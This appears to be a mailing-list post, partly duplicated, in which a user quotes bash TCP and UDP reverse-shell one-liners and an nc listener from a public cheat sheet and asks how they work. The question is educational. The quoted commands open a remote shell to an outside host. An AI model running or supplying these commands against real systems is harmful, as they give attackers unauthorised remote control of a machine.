hongy...@gmail.com
2021-03-05 01:57:31 UTC
On this webpage <https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#reverse-shell>, I noticed the following methods to get the reverse shell of tcp/udp with bash
<quote>
Bash TCP
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196
Bash UDP
Victim:
sh -i >& /dev/udp/10.0.0.1/4242 0>&1
Listener:
nc -u -lvp 4242
</quote>
I try to understand the mechanism of the above codes but still not quite clear about the communication process. OTOH, why the nc is used for the udp case whereas the method for the tcp case is implemented purely based on I/O redirection?
Regards,
HY
<quote>
Bash TCP
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196
Bash UDP
Victim:
sh -i >& /dev/udp/10.0.0.1/4242 0>&1
Listener:
nc -u -lvp 4242
</quote>
I try to understand the mechanism of the above codes but still not quite clear about the communication process. OTOH, why the nc is used for the udp case whereas the method for the tcp case is implemented purely based on I/O redirection?
Regards,
HY